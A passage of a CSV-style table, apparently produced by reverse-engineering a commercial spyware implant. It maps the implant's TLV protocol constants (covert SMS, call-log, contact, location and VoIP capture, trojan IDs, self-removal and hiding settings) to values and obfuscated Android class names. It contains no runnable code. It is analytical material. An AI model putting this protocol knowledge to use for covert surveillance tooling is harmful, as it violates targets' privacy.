ip,2163104,✔,TlvTypeVoIPMetaInfo, +1058,vo ip,2166912,✔,TlvTypeVoIPEncodingType, +1058,vo ip,2167168,✔,TlvTypeVoIPSessionType, +1058,vo ip,2167424,✔,TlvTypeVoIPApplicationName,Lorg/xmlpush/v3/o/n +1058,vo ip,2167696,✔,TlvTypeVoIPAppScreenshot, +1058,vo ip,2167952,✔,TlvTypeVoIPAudioRecording, +1058,vo ip,2168112,✔,TlvTypeConfigVoIPScreenshotEnabled, +1062,vo config ip,2175136,✔,TlvTypeGetVoIPConfigRequest, +1062,vo config ip,2175392,✔,TlvTypeVoIPConfigReply, +1062,vo config ip,2175648,✔,TlvTypeSetVoIPConfigRequest, +1088,clicks mouse,2228640,✔,TlvTypeMouseClicksMetaInfo, +1088,clicks mouse,2228896,✔,TlvTypeMouseClicksFrame, +1090,clicks mouse,2232448,✔,TlvTypeMouseClicksEncodingType, +1090,clicks mouse,2232896,✔,TlvTypeConfigMouseClicksRectangle, +1090,clicks mouse,2233152,✔,TlvTypeConfigMouseClicksSensitivity, +1090,clicks mouse,2233408,✔,TlvTypeConfigMouseClicksType, +1094,clicks config mouse,2240672,✔,TlvTypeGetMouseClicksConfigRequest, +1094,clicks config mouse,2240928,✔,TlvTypeMouseClicksConfigReply, +1094,clicks config mouse,2241184,✔,TlvTypeSetMouseClicksConfigRequest, +2112,sms,4325792,✔,TlvTypeMobileSMSMetaInfo,Lorg/xmlpush/v3/f/b +2112,sms,4326016,✔,TlvTypeMobileSMSData,Lorg/xmlpush/v3/f/b +2112,sms,4326256,✔,TlvTypeSMSSenderNumber,Lorg/xmlpush/v3/f/b +2112,sms,4326512,✔,TlvTypeSMSRecipientNumber,Lorg/xmlpush/v3/f/b +2112,sms,4326528,✔,TlvTypeSMSInformation, +2112,sms,4326768,✔,TlvTypeSMSDirection,Lorg/xmlpush/v3/f/b +2112,sms,4327040,×,unknown,Lorg/xmlpush/v3/f/b +2144,address book mobile,4391328,✔,TlvTypeMobileAddressBookMetaInfo,Lorg/xmlpush/v3/i/a +2144,address book mobile,4391552,✔,TlvTypeMobileAddressBookData,Lorg/xmlpush/v3/i/a +2152,address book checksum mobile,4407360,✔,TlvTypeMobileAddressBookChecksum, +2176,mobile blackberry,4456864,✔,TlvTypeMobileBlackberryMessengerMetaInfo, +2176,mobile blackberry,4457088,✔,TlvTypeMobileBlackberryMessengerData, +2176,mobile blackberry,4457328,✔,TlvTypeMobileBlackberryMsChatID, +2176,mobile blackberry,4457600,✔,TlvTypeMobileBlackberryMsConversationPartners, +2208,mobile tracking,4522400,✔,TlvTypeMobileTrackingStartRequest, +2208,mobile tracking,4522656,✔,TlvTypeMobileTrackingStopRequest, +2208,mobile tracking,4523376,✔,TlvTypeMobileTrackingDataV10,"Lorg/xmlpush/v3/t/e, Lorg/xmlpush/v3/t/e, Lorg/xmlpush/v3/t/e, Lorg/xmlpush/v3/t/e" +2214,mobile config tracking,4535200,✔,TlvTypeMobileTrackingConfig,Lorg/xmlpush/v3/h/c +2214,mobile config tracking,4535440,✔,TlvTypeMobileTrackingConfigRaw,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +2216,mobile tracking,4538432,✔,TlvTypeMobileTrackingTimeInterval,L/org/xmlpush/v3/h/c +2216,mobile tracking,4538688,✔,TlvTypeMobileTrackingDistance,L/org/xmlpush/v3/h/c +2216,mobile tracking,4538928,✔,TlvTypeMobileTrackingSendOnAnyChannel,L/org/xmlpush/v3/h/c +2240,mobile call phone,4587936,✔,TlvTypeMobilePhoneCallLogsMetaInfo,Lorg/xmlpush/v3/f/a +2240,mobile call phone,4588192,✔,TlvTypeMobilePhoneCallLogsData,Lorg/xmlpush/v3/f/b +2240,mobile call phone,4588400,✔,TlvTypeMobilePhoneCallLogsType,Lorg/xmlpush/v3/f/b +2240,mobile call phone,4588672,✔,TlvTypeMobilePhoneCallAdditionalInformation,Lorg/xmlpush/v3/f/b +2240,mobile call phone,4588912,✔,TlvTypeMobilePhoneCallLogsCallerNumber,Lorg/xmlpush/v3/f/b +2240,mobile call phone,4589168,✔,TlvTypeMobilePhoneCallLogsCalleeNumber,Lorg/xmlpush/v3/f/b +2240,mobile call phone,4589440,✔,TlvTypeMobilePhoneCallLogsCallerName,Lorg/xmlpush/v3/f/b +2241,name call phone logs mobile callee,4589696,✔,TlvTypeMobilePhoneCallLogsCalleeName,Lorg/xmlpush/v3/f/b +2242,last call phone entry mobile endtime log,4591680,✔,TlvTypeMobilePhoneCallLogLastEntryEndtime, +3072,mobile logging,6291872,✔,TlvTypeMobileLoggingMetaInfo, +3072,mobile logging,6292096,✔,TlvTypeMobileLoggingData, +3616,master agent,7405984,✔,TlvTypeMasterAgentLogin, +3616,master agent,7406240,✔,TlvTypeMasterAgentLoginAnswer, +3616,master agent,7406752,✔,TlvTypeMasterAgentTargetList, +3616,master agent,7407008,✔,TlvTypeMasterAgentTargetOnlineList, +3616,master agent,7407264,✔,TlvTypeMasterAgentTargetInfoReply, +3616,master agent,7407520,✔,TlvTypeMasterAgentUserList, +3617,master agent list,7407776,✔,TlvTypeMasterAgentUserListReply, +3617,master agent list,7408032,✔,TlvTypeMasterAgentTargetArchivedList, +3617,master agent list,7408288,✔,TlvTypeMasterAgentTargetListEx, +3617,master agent list,7408544,✔,TlvTypeMasterAgentTargetOnlineListEx, +3617,master agent list,7408800,✔,TlvTypeMasterAgentMobileTargetArchivedList, +3617,master agent list,7409056,✔,TlvTypeMasterAgentMobileTargetList, +3617,master agent list,7409312,✔,TlvTypeMasterAgentMobileTargetOnlineList, +3618,,7409824,✔,TlvTypeMasterAgentQueryFirst, +3618,,7410080,✔,TlvTypeMasterAgentQueryNext, +3618,,7410336,✔,TlvTypeMasterAgentQueryLast, +3618,,7410592,✔,TlvTypeMasterAgentQueryAnswer, +3618,,7410848,✔,TlvTypeMasterAgentRemoveRecord, +3618,,7411104,✔,TlvTypeMasterAgentTargetInfoExReply, +3618,,7411344,✔,TlvTypeTargetInfoExProperty, +3618,,7411616,✔,TlvTypeTargetInfoExPropertyValue, +3619,,7411840,✔,TlvTypeTargetInfoExPropertyValueName, +3619,,7411968,✔,TlvTypeTargetInfoExPropertyValueData, +3619,,7412384,✔,TlvTypeMasterAgentAlarm, +3620,master agent,7413920,✔,TlvTypeMasterAgentRetrieveData, +3620,master agent,7414176,✔,TlvTypeMasterAgentRetrieveDataAnswer, +3620,master agent,7414432,✔,TlvTypeMasterAgentRemoveUser, +3620,master agent,7414688,✔,TlvTypeMasterAgentRemoveTarget, +3620,master agent,7414944,✔,TlvTypeMasterAgentRetrieveDataComments, +3620,master agent,7415200,✔,TlvTypeMasterAgentUpdateDataComments, +3620,master agent,7415712,✔,TlvTypeMasterAgentRetrieveActivityLogging, +3621,master agent,7415968,✔,TlvTypeMasterAgentRetrieveMasterLogging, +3621,master agent,7416224,✔,TlvTypeMasterAgentRetrieveAgentActivityLogging, +3621,master agent,7417248,✔,TlvTypeMasterAgentSendUserGUIConfig, +3621,master agent,7417504,✔,TlvTypeMasterAgentGetUserGUIConfigRequest, +3621,master agent,7417760,✔,TlvTypeMasterAgentGetUserGUIConfigReply, +3622,master agent,7418016,✔,TlvTypeMasterAgentProxyList, +3622,master agent,7418272,✔,TlvTypeMasterAgentProxyInfoReply, +3622,master agent,7419040,✔,TlvTypeMasterAgentNameValuePacket, +3622,master agent,7419248,✔,TlvTypeMasterAgentValueName, +3622,master agent,7419392,✔,TlvTypeMasterAgentValueData, +3622,master agent,7419808,✔,TlvTypeMasterAgentRetrieveTargetHistory, +3623,install master agent,7421088,✔,TlvTypeMasterAgentInstallMasterLicense, +3623,install master agent,7421344,✔,TlvTypeMasterAgentInstallSoftwareUpdate, +3623,install master agent,7421600,✔,TlvTypeMasterAgentInstallSoftwareUpdateChunk, +3623,install master agent,7421856,✔,TlvTypeMasterAgentInstallSoftwareUpdateDone, +3624,master agent,7422112,✔,TlvTypeMasterAgentSoftwareUpdateInfo, +3624,master agent,7422368,✔,TlvTypeMasterAgentSoftwareUpdateInfoReply, +3624,master agent,7422624,✔,TlvTypeMasterAgentSoftwareUpdate, +3624,master agent,7422880,✔,TlvTypeMasterAgentSoftwareUpdateReply, +3624,master agent,7423136,✔,TlvTypeMasterAgentSoftwareUpdateNext, +3624,master agent,7423392,✔,TlvTypeMasterAgentAddTimeSchedule, +3624,master agent,7423648,✔,TlvTypeMasterAgentAddScreenSchedule, +3624,master agent,7423904,✔,TlvTypeMasterAgentAddLockedSchedule, +3625,master agent,7424160,✔,TlvTypeMasterAgentRemoveSchedule, +3625,master agent,7424416,✔,TlvTypeMasterAgentGetSchedulerList, +3625,master agent,7424672,✔,TlvTypeMasterAgentSchedulerTimeAction, +3625,master agent,7424928,✔,TlvTypeMasterAgentSchedulerScreenAction, +3625,master agent,7425184,✔,TlvTypeMasterAgentSchedulerLockedAction, +3625,master agent,7425440,✔,TlvTypeMasterAgentProjectSoftwareUpdateInfo, +3625,master agent,7425696,✔,TlvTypeMasterAgentProjectSoftwareUpdateInfoReply, +3625,master agent,7425952,✔,TlvTypeMasterAgentProjectSoftwareUpdate, +3626,master agent,7426112,✔,TlvTypeMasterAgentSchedulerID, +3626,master agent,7426368,✔,TlvTypeMasterAgentSchedulerStartTime,L/org/xmlpush/v3/h/c +3626,master agent,7426624,✔,TlvTypeMasterAgentSchedulerStopTime,L/org/xmlpush/v3/h/c +3626,master agent,7427488,✔,TlvTypeMasterAgentAddRecordedDataAvailableSchedule, +3626,master agent,7427744,✔,TlvTypeMasterAgentSchedulerRecordedDataAvailableAction, +3627,master agent data,7428256,✔,TlvTypeMasterAgentRetrieveRemoteMasterData, +3627,master agent data,7428512,✔,TlvTypeMasterAgentRetrieveRemoteMasterDataReply, +3627,master agent data,7428768,✔,TlvTypeMasterAgentDeleteRemoteMasterData, +3627,master agent data,7429024,✔,TlvTypeMasterAgentRetrieveOfflineMasterData, +3627,master agent data,7429280,✔,TlvTypeMasterAgentRetrieveOfflineMasterDataReply, +3627,master agent data,7429536,✔,TlvTypeMasterAgentDeleteOfflineMasterData, +3628,master agent,7430304,✔,TlvTypeMasterAgentQueryFirstEx, +3628,master agent,7430560,✔,TlvTypeMasterAgentQueryNextEx, +3628,master agent,7430816,✔,TlvTypeMasterAgentQueryLastEx, +3628,master agent,7431072,✔,TlvTypeMasterAgentQueryAnswerEx, +3628,master agent,7431328,✔,TlvTypeMasterAgentSendUserPreferences, +3628,master agent,7431584,✔,TlvTypeMasterAgentGetUserPreferencesRequest, +3628,master agent,7431840,✔,TlvTypeMasterAgentGetUserPreferencesReply, +3628,master agent,7432096,✔,TlvTypeMasterAgentListMCFilesRequest, +3629,master agent mc,7432608,✔,TlvTypeMasterAgentDeleteMCFiles, +3629,master agent mc,7432864,✔,TlvTypeMasterAgentSendMCFiles, +3629,master agent mc,7433120,✔,TlvTypeMasterAgentMCStatisticsRequest, +3629,master agent mc,7433376,✔,TlvTypeMasterAgentMCStatisticsReply, +3629,master agent mc,7433616,✔,TlvTypeMasterAgentMCStatisticsValues, +3630,master agent,7434400,✔,TlvTypeMasterAgentTrojanKeyRequest, +3630,master agent,7434656,✔,TlvTypeMasterAgentTrojanKeyReply, +3630,master agent,7434912,✔,TlvTypeMasterAgentEvProtectionX509Request, +3630,master agent,7435168,✔,TlvTypeMasterAgentEvProtectionX509Reply, +3630,master agent,7435424,✔,TlvTypeMasterAgentEvProtectionImportCert, +3630,master agent,7435680,✔,TlvTypeMasterAgentEvProtectionImportCertCompleted, +3630,master agent,7435936,✔,TlvTypeMasterAgentConfigurationRequest, +3630,master agent,7436192,✔,TlvTypeMasterAgentConfigurationReply, +3631,master agent configuration,7436448,✔,TlvTypeMasterAgentConfigurationUpdateRequest, +3631,master agent configuration,7436704,✔,TlvTypeMasterAgentConfigurationUpdateRequestCompleted, +3631,master agent configuration,7436944,✔,TlvTypeMasterAgentConfiguration, +3631,master agent configuration,7437216,✔,TlvTypeMasterAgentConfigurationValue, +3631,master agent configuration,7437424,✔,TlvTypeMasterAgentConfigurationValueName, +3631,master agent configuration,7437568,✔,TlvTypeMasterAgentConfigurationValueData, +3631,master agent configuration,7437984,✔,TlvTypeMasterAgentConfigurationTransferDone, +3632,master agent,7438496,✔,TlvTypeMasterAgentRetrieveTargetFile, +3632,master agent,7438752,✔,TlvTypeMasterAgentRetrieveTargetFileAnswer, +3632,master agent,7438912,✔,TlvTypeMasterAgentAlarmEntryID, +3632,master agent,7439168,✔,TlvTypeMasterAgentAlarmEntryVersion, +3632,master agent,7439424,✔,TlvTypeMasterAgentAlarmTriggerFlags, +3632,master agent,7439776,✔,TlvTypeMasterAgentGetAlarmList, +3632,master agent,7440032,✔,TlvTypeMasterAgentAddAlarmEntry, +3632,master agent,7440288,✔,TlvTypeMasterAgentRemoveAlarmEntry, +3633,master agent,7440544,✔,TlvTypeMasterAgentAlarmEntry, +3633,master agent,7440800,✔,TlvTypeMasterAgentSystemStatus, +3633,master agent,7441056,✔,TlvTypeMasterAgentSystemStatusRequest, +3633,master agent,7441312,✔,TlvTypeMasterAgentSystemStatusReply, +3633,master agent,7441552,✔,TlvTypeMasterAgentLicenseValues, +3633,master agent,7441824,✔,TlvTypeMasterAgentLicenseValuesRequest, +3633,master agent,7442080,✔,TlvTypeMasterAgentLicenseValuesReply, +3634,master agent,7442592,✔,TlvTypeMasterAgentGetNetworkConfigurationRequest, +3634,master agent,7442848,✔,TlvTypeMasterAgentSetNetworkConfigurationRequest, +3634,master agent,7443104,✔,TlvTypeMasterAgentSetNetworkConfigurationReply, +3634,master agent,7443360,✔,TlvTypeMasterAgentRetrieveAllowedModulesList, +3634,master agent,7443616,✔,TlvTypeMasterAgentRetrieveAllowedModulesListAnswer, +3636,master agent,7446688,✔,TlvTypeMasterAgentRemoveAllTargetData, +3636,master agent,7446944,✔,TlvTypeMasterAgentForceDownloadRecordedData, +3636,master agent,7447200,✔,TlvTypeMasterAgentTargetCreateNotification, +3636,master agent,7447456,✔,TlvTypeMasterAgentMobileTargetInfoReply, +3636,master agent,7447696,✔,TlvTypeMasterAgentMobileTargetInfoValues, +3638,master agent alert,7450784,✔,TlvTypeMasterAgentAlert, +3640,master agent,7454880,✔,TlvTypeMasterAgentAddUser, +3640,master agent,7455392,✔,TlvTypeMasterAgentAddUserReply, +3640,master agent,7455648,✔,TlvTypeMasterAgentModifyUser, +3640,master agent,7455904,✔,TlvTypeMasterAgentSetUserPermission, +3640,master agent,7456160,✔,TlvTypeMasterAgentSetTargetPermission, +3640,master agent,7456400,✔,TlvTypeMasterAgentUserPermission, +3640,master agent,7456656,✔,TlvTypeMasterAgentTargetPermission, +3641,master agent,7456928,✔,TlvTypeMasterAgentUserPermissionValuePacket, +3641,master agent,7457184,✔,TlvTypeMasterAgentTargetPermissionValuePacket, +3641,master agent,7457344,✔,TlvTypeMasterAgentUserPermissionValueName, +3641,master agent,7457600,✔,TlvTypeMasterAgentTargetPermissionValueName, +3641,master agent,7457856,✔,TlvTypeMasterAgentUserPermissionValueData, +3641,master agent,7458112,✔,TlvTypeMasterAgentTargetPermissionValueData, +3641,master agent,7458464,✔,TlvTypeMasterAgentModifyPassword, +3641,master agent,7458656,✔,TlvTypeMasterAgentMobileTargetPermissionValueName, +3642,master agent,7458976,✔,TlvTypeMasterAgentUploadFile, +3642,master agent,7459232,✔,TlvTypeMasterAgentUploadFileChunk, +3642,master agent,7459488,✔,TlvTypeMasterAgentUploadFileDone, +3642,master agent,7459744,✔,TlvTypeMasterAgentUploadFilesTransferDone, +3642,master agent,7460000,✔,TlvTypeMasterAgentGetTargetModuleConfigRequest, +3642,master agent,7460256,✔,TlvTypeMasterAgentRemoveFile, +3642,master agent,7460512,✔,TlvTypeMasterAgentMobileProxyList, +3642,master agent,7460768,✔,TlvTypeMasterAgentSMSProxyList, +3643,master agent,7461024,✔,TlvTypeMasterAgentSMSProxyInfoReply, +3643,master agent,7461280,✔,TlvTypeMasterAgentCallPhoneNumberList, +3643,master agent,7461536,✔,TlvTypeMasterAgentCallPhoneNumberInfoReply, +3643,master agent,7461792,✔,TlvTypeMasterAgentGetMobileTargetModuleConfigRequest, +3643,master agent,7462048,✔,TlvTypeMasterAgentSendSMS, +3647,master agent,7469984,✔,TlvTypeMasterAgentEncryptionRequired, +3647,master agent,7470240,✔,TlvTypeMasterAgentFileCompleted, +3647,master agent,7470496,✔,TlvTypeMasterAgentRequestCompleted, +3647,master agent,7470752,✔,TlvTypeAgentMasterComm, +3647,master agent,7471008,✔,TlvTypeMasterAgentRequestStatus, +3648,master,7471424,✔,TlvTypeProxyMasterCommSig, +3648,master,7471520,✔,TlvTypeMasterTargetConn, +3648,master,7471776,✔,TlvTypeProxyMasterComm, +3648,master,7472032,✔,TlvTypeMasterProxyComm, +3648,master,7472288,✔,TlvTypeProxyMasterHeartBeatAnswer, +3648,master,7472544,✔,TlvTypeProxyMasterDisconnect, +3648,master,7472704,✔,TlvTypeProxyMasterNotification, +3648,master,7473056,✔,TlvTypeProxyMasterRequest, +3649,master,7473312,✔,TlvTypeMasterProxyCommNotification, +3649,master,7473568,✔,TlvTypeMasterCheckTargetDisconnect, +3680,target proxy,7536960,✔,TlvTypeProxyTargetCommSig, +3680,target proxy,7537312,✔,TlvTypeProxyTargetComm, +3680,target proxy,7537568,✔,TlvTypeProxyMasterTargetComm, +3680,target proxy,7537728,✔,TlvTypeProxyTargetRequestCrypto, +3680,target proxy,7538064,✔,TlvTypeProxyTargetAnswerCrypto, +3744,target,7668128,✔,TlvTypeMasterTargetComm, +3744,target,7668384,✔,TlvTypeTargetCloseAllLiveStreaming, +3776,relay,7733664,✔,TlvTypeRelayProxyComm, +3776,relay,7734176,✔,TlvTypeRelayDummyHeartbeat, +4032,test type meta,8257792,✔,TlvTypeTestMetaTypeInvalid, +4032,test type meta,8258608,✔,TlvTypeTestMetaTypeBool, +4032,test type meta,8258880,✔,TlvTypeTestMetaTypeUInt, +4032,test type meta,8259152,✔,TlvTypeTestMetaTypeInt, +4032,test type meta,8259440,✔,TlvTypeTestMetaTypeString, +4033,test,8259712,✔,TlvTypeTestMetaTypeUnicode, +4033,test,8259984,✔,TlvTypeTestMetaTypeRaw, +4033,test,8260256,✔,TlvTypeTestMetaTypeGroup, +4033,test,8260416,✔,TlvTypeTestMemberIdentifier, +4033,test,8260736,✔,TlvTypeTestMemberName, +4096,target,8389008,✔,TlvTypeTargetData, +4096,target,8389280,✔,TlvTypeTargetHeartBeat, +4096,target,8389680,✔,TlvTypeTargetKeepSessionAlive, +4096,target,8390000,✔,TlvTypeTargetLocalIP, +4096,target,8390256,✔,TlvTypeTargetGlobalIP, +4096,target,8390448,✔,TlvTypeTargetState, +4097,agent master,8390784,✔,TlvTypeTargetID, +4097,agent master,8391072,✔,TlvTypeGetInstalledModulesRequest, +4097,agent master,8391328,✔,TlvTypeInstalledModulesReply, +4097,agent master,8391488,✔,TlvTypeTrojanUID, +4097,agent master,8391808,✔,TlvTypeTrojanID, +4097,agent master,8392000,✔,TlvTypeTrojanMaxInfections,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +4097,agent master,8392240,✔,TlvTypeScreenSaverOn, +4097,agent master,8392496,✔,TlvTypeScreenLocked, +4098,agent master,8392752,✔,TlvTypeRecordedDataAvailable, +4098,agent master,8393024,✔,TlvTypeDownloadedRecordedDataTimeStamp, +4098,agent master,8393280,✔,TlvTypeInstallationMode, +4098,agent master,8393552,✔,TlvTypeTargetRemoveNotification, +4098,agent master,8393792,✔,TlvTypeTargetPlatformBits, +4098,agent master,8394032,✔,TlvTypeRemoveItselfMaxInfectionReached, +4098,agent master,8394288,✔,TlvTypeRemoveItselfAtMasterRequest, +4098,agent master,8394544,✔,TlvTypeRemoveItselfAtAgentRequest, +4099,agent master,8394912,✔,TlvTypeRemoveItselfAtAgentReqRequest, +4099,agent master,8395072,✔,TlvTypeRecordedFilesDownloadTotal, +4099,agent master,8395328,✔,TlvTypeRecordedFilesDownloadProgress, +4099,agent master,8395632,✔,TlvTypeTargetLicenseInfo, +4099,agent master,8395840,✔,TlvTypeRemoveTargetLicenseInfo, +4099,agent master,8396176,✔,TlvTypeTargetAllConfigurations, +4100,target error,8396960,✔,TlvTypeTargetError, +4102,target config,8401056,✔,TlvTypeGetTargetConfigRequest, +4102,target config,8401312,✔,TlvTypeTargetConfigReply, +4102,target config,8401568,✔,TlvTypeSetTargetConfigRequest, +4102,target config,8402304,✔,TlvTypeConfigTargetID, +4102,target config,8402496,✔,TlvTypeConfigTargetHeartbeatInterval, +4102,target config,8402800,✔,TlvTypeConfigTargetProxy,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +4103,agent master,8403008,✔,TlvTypeConfigTargetPort,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +4103,agent master,8403584,✔,TlvTypeConfigAutoRemovalDateTime, +4103,agent master,8403776,✔,TlvTypeConfigAutoRemovalIfNoProxy,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +4103,agent master,8404032,✔,TlvTypeInternalAutoRemovalElapsedTime, +4104,active hiding config,8405040,✔,TlvTypeConfigActiveHiding, +4106,target module,8409248,✔,TlvTypeTargetLoadModuleRequest, +4106,target module,8409504,✔,TlvTypeTargetLoadModuleReply, +4106,target module,8409760,✔,TlvTypeTargetUnLoadModuleRequest, +4106,target module,8410016,✔,TlvTypeTargetUnLoadModuleReply, +4106,target module,8410272,✔,TlvTypeTargetUploadModuleRequest, +4106,target module,8410528,✔,TlvTypeTargetUploadModuleReply, +4106,target module,8410784,✔,TlvTypeTargetUploadModuleChunk, +4106,target module,8411040,✔,TlvTypeTargetUploadModuleDoneRequest, +4107,target module,8411296,✔,TlvTypeTargetUploadModuleDoneReply, +4107,target module,8411552,✔,TlvTypeTargetRemoveModuleRequest, +4107,target module,8411808,✔,TlvTypeTargetRemoveModuleReply, +4107,target module,8412064,✔,TlvTypeTargetOfflineUploadModuleRequest, +4107,target module,8412320,✔,TlvTypeTargetOfflineUploadModuleReply, +4107,target module,8412576,✔,TlvTypeTargetOfflineUploadModuleChunk, +4107,target module,8412832,✔,TlvTypeTargetOfflineUploadModuleDoneRequest, +4107,target module,8413088,✔,TlvTypeTargetOfflineUploadModuleDoneReply, +4108,target error,8413344,✔,TlvTypeTargetOfflineError, +4108,target error,8413600,✔,TlvTypeTargetUploadError, +4109,files reply master list agent mc,8415392,✔,TlvTypeMasterAgentListMCFilesReply, +4110,target recorded,8417440,✔,TlvTypeTargetGetRecordedFilesRequest, +4110,target recorded,8417696,✔,TlvTypeTargetRecordedFilesReply, +4110,target recorded,8417952,✔,TlvTypeTargetRecordedFileDownloadRequest, +4110,target recorded,8418208,✔,TlvTypeTargetRecordedFileDownloadReply, +4110,target recorded,8418464,✔,TlvTypeTargetRecordedFileDownloadChunk, +4110,target recorded,8418720,✔,TlvTypeTargetRecordedFileDownloadCompleted, +4110,target recorded,8418976,✔,TlvTypeTargetRecordedFileDeleteRequest, +4110,target recorded,8419232,✔,TlvTypeTargetRecordedFileDeleteReply, +4111,target recorded ex,8419488,✔,TlvTypeTargetGetRecordedFilesRequestEx, +4111,target recorded ex,8419744,✔,TlvTypeTargetRecordedFilesReplyEx, +4111,target recorded ex,8420000,✔,TlvTypeTargetRecordedFileDeleteRequestEx, +4111,target recorded ex,8420256,✔,TlvTypeTargetRecordedFilesDownloadRequestEx, +4128,data,8454544,✔,TlvTypeProxyData, +4128,data,8454800,✔,TlvTypeRelayData, +4130,proxy,8458400,✔,TlvTypeProxyTargetDisconnect, +4130,proxy,8458656,✔,TlvTypeProxyMobileTargetDisconnect, +4130,proxy,8458912,✔,TlvTypeProxyDummyHeartbeat, +4130,proxy,8459168,✔,TlvTypeProxyMobileDummyHeartbeat, +4160,master,8520080,✔,TlvTypeMasterData, +4160,master,8520768,✔,TlvTypeMasterMode, +4160,master,8521024,✔,TlvTypeMasterToken, +4160,master,8521344,✔,TlvTypeMasterQueryResult, +4161,string master alarm,8522368,✔,TlvTypeMasterAlarmString, +4192,agent,8585616,✔,TlvTypeAgentData, +4192,agent,8585808,✔,TlvTypeAgentQueryID, +4192,agent,8586048,✔,TlvTypeAgentQueryModSubmodID, +4192,agent,8586304,✔,TlvTypeAgentQueryFromDate, +4192,agent,8586560,✔,TlvTypeAgentQueryToDate, +4192,agent,8586816,✔,TlvTypeAgentQuerySortOrder, +4192,agent,8587136,✔,TlvTypeAgentQueryValueFilter, +4193,uid agent,8587328,✔,TlvTypeAgentUID, +4224,mobile,8651152,✔,TlvTypeMobileTargetData, +4224,mobile,8651376,✔,TlvTypeMobileTargetHeartBeatV10,"Lorg/xmlpush/v3/o/g, Lorg/xmlpush/v3/o/g" +4224,mobile,8651632,✔,TlvTypeMobileTargetExtendedHeartBeatV10,"Lorg/xmlpush/v3/o/g, Lorg/xmlpush/v3/q/b" +4224,mobile,8651888,✔,TlvTypeMobileHeartBeatReplyV10,"Lorg/xmlpush/v3/o/h$b, Lorg/xmlpush/v3/o/l$2, L/org/xmlpush/v3/q/a, L/org/xmlpush/v3/q/c" +4225,installed reply modules mobile,8653472,✔,TlvTypeMobileInstalledModulesReply, +4225,installed reply modules mobile,8652912,×,unknown,Lorg/xmlpush/v3/o/l$2 +4226,module upload mobile target,8655008,✔,TlvTypeMobileTargetOfflineUploadModuleRequest,L/org/xmlpush/v3/o/h +4226,module upload mobile target,8656032,✔,TlvTypeMobileTargetUploadModuleRequest, +4226,module upload mobile target,8656288,✔,TlvTypeMobileTargetUploadModuleReply, +4226,module upload mobile target,8656544,✔,TlvTypeMobileTargetUploadModuleChunk, +4226,module upload mobile target,8656800,✔,TlvTypeMobileTargetUploadModuleDoneRequest, +4227,target mobile,8657056,✔,TlvTypeMobileTargetUploadModuleDoneReply, +4227,target mobile,8657312,✔,TlvTypeMobileTargetRemoveModuleRequest, +4227,target mobile,8657568,✔,TlvTypeMobileTargetRemoveModuleReply, +4227,target mobile,8657824,✔,TlvTypeMobileTargetOfflineUploadModuleReply,Lorg/xmlpush/v3/o/j +4227,target mobile,8658080,✔,TlvTypeMobileTargetOfflineUploadModuleChunk,L/org/xmlpush/v3/o/h +4227,target mobile,8658336,✔,TlvTypeMobileTargetOfflineUploadModuleDoneRequest,L/org/xmlpush/v3/o/h +4227,target mobile,8658592,✔,TlvTypeMobileTargetOfflineUploadModuleDoneReply,Lorg/xmlpush/v3/o/j +4227,target mobile,8658848,✔,TlvTypeMobileTargetOfflineError, +4228,mobile target,8659104,✔,TlvTypeMobileTargetError, +4228,mobile target,8659360,✔,TlvTypeMobileTargetGetRecordedFilesRequest,L/org/xmlpush/v3/o/h +4228,mobile target,8659616,✔,TlvTypeMobileTargetRecordedFilesReply,Lorg/xmlpush/v3/o/d +4228,mobile target,8659872,✔,TlvTypeMobileTargetRecordedFileDownloadRequest,L/org/xmlpush/v3/o/h +4228,mobile target,8660128,✔,TlvTypeMobileTargetRecordedFileDownloadReply,Lorg/xmlpush/v3/o/d +4228,mobile target,8660384,✔,TlvTypeMobileTargetRecordedFileDownloadChunk,Lorg/xmlpush/v3/o/d +4228,mobile target,8660640,✔,TlvTypeMobileTargetRecordedFileDownloadCompleted,Lorg/xmlpush/v3/o/d +4228,mobile target,8660896,✔,TlvTypeMobileTargetRecordedFileDeleteRequest,L/org/xmlpush/v3/o/h +4229,target reply delete mobile recorded file,8661152,✔,TlvTypeMobileTargetRecordedFileDeleteReply, +4230,mobile config target,8663968,✔,TlvTypeMobileTargetOfflineConfig,Lorg/xmlpush/v3/q/c +4230,mobile config target,8664224,✔,TlvTypeMobileTargetEmergencyConfigAsTLV, +4230,mobile config target,8664432,✔,TlvTypeMobileTargetEmergencyConfig,"L/org/xmlpush/v3/q/a, L/org/xmlpush/v3/q/c" +4234,load module mobile target,8671392,✔,TlvTypeMobileTargetLoadModuleRequest, +4234,load module mobile target,8671648,✔,TlvTypeMobileTargetLoadModuleReply, +4234,load module mobile target,8671904,✔,TlvTypeMobileTargetUnLoadModuleRequest, +4234,load module mobile target,8672160,✔,TlvTypeMobileTargetUnLoadModuleReply, +4236,target error,8675472,✔,TlvTypeMobileTargetHeartbeatEvents,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +4236,agent master files mc reply list,8675648,✔,TlvTypeMobileTargetHeartbeatInterval,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +4236,recorded target,8675984,✔,TlvTypeMobileTargetHeartbeatRestrictions,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +4236,recorded target,8676208,✔,TlvTypeConfigSMSPhoneNumber,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c" +4236,recorded target,8676496,✔,TlvTypeMobileTargetPositioning,"Lorg/xmlpush/v3/q/c, L/org/xmlpush/v3/h/c, L/org/xmlpush/v3/h/c" +4236,recorded target,8676672,✔,TlvTypeMobileTrojanUID,"Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/t/d, Lorg/xmlpush/v3/o/a, Lorg/xmlpush/v3/o/i, Lorg/xmlpush/v3/o/i, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/n, Lorg/xmlpush/v3/a/a, Lorg/xmlpush/v3/q/c, Lorg/xmlpush/v3/f/a, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/f/b, Lorg/xmlpush/v3/d/a, Lorg/xmlpush/v3/h/c, Lorg/xmlpush/v3/i/a, 